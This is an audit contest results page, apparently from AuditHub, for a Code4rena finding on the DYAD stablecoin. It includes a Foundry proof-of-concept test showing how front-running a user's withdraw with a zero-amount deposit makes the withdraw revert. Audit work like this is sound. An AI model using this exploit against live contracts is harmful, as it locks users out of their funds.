DYAD - DMoore's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 170/183

Findings: 1

Award: $0.02

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

VaultManagerV2.withdraw will revert on same block deposit and withdraw operations, using idToBlockOfLastDeposit[id] == block.number check. However, attacker can frontrun any user's withdraw call with a zero amount of deposit to the same dNFT and vault, and set idToBlockOfLastDeposit[id] to the same block with user's withdraw call, which will lead to user's withdraw call always fail. To summary up, attacker can disable the core function VaultManagerV2.withdraw with only GAS fee.

Proof of Concept

Attacker can front run withdraw call with zero amount deposit call to revert it, see below test code.

  function test_zero() public {
    address attacker = address(0xABC);
    address alice = address(0x123);

    uint id = dNft.mintNft{value: 1 ether}(alice);
    vm.startPrank(alice);
    vaultManager.add(id, address(wethVault));
    uint alice_amt = 1e18;
    weth.mint(alice, alice_amt);

    vm.roll(1000);
    weth.approve(address(vaultManager), alice_amt);
    vaultManager.deposit(id, address(wethVault), alice_amt);
    assertEq(1000, vaultManager.idToBlockOfLastDeposit(id));
    vm.stopPrank();

    vm.roll(2000);
    // @audit: attacker listen to mempool and found out that alice is trying to withdraw
    vm.startPrank(attacker);
    uint zero_amt = 0;
    // @audit: attacker trigger a zero amount deposit
    vaultManager.deposit(id, address(wethVault), zero_amt);
    assertEq(2000, vaultManager.idToBlockOfLastDeposit(id));
    vm.stopPrank();
    vm.startPrank(alice);
    // @audit: alice failed to withdraw
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    vaultManager.withdraw(id, address(wethVault), alice_amt, alice);
    vm.stopPrank();
  }

Tools Used

Manual Review and Foundry

Add minimal deposit amount check

Assessed type

DoS

#0 - c4-pre-sort

2024-04-27T11:38:42Z

JustDravee marked the issue as duplicate of #1103

#1 - c4-pre-sort

2024-04-27T11:45:37Z

JustDravee marked the issue as duplicate of #489

#2 - c4-pre-sort

2024-04-29T09:25:36Z

JustDravee marked the issue as sufficient quality report

#3 - c4-judge

2024-05-05T20:38:17Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T20:39:23Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#5 - c4-judge

2024-05-05T20:39:26Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#6 - c4-judge

2024-05-05T21:37:29Z

koolexcrypto marked the issue as nullified

#7 - c4-judge

2024-05-05T21:37:32Z

koolexcrypto marked the issue as not nullified

#8 - c4-judge

2024-05-08T15:28:02Z

koolexcrypto marked the issue as duplicate of #1001

#9 - c4-judge

2024-05-11T19:50:02Z

koolexcrypto marked the issue as satisfactory

#10 - c4-judge

2024-05-13T18:34:30Z

koolexcrypto changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter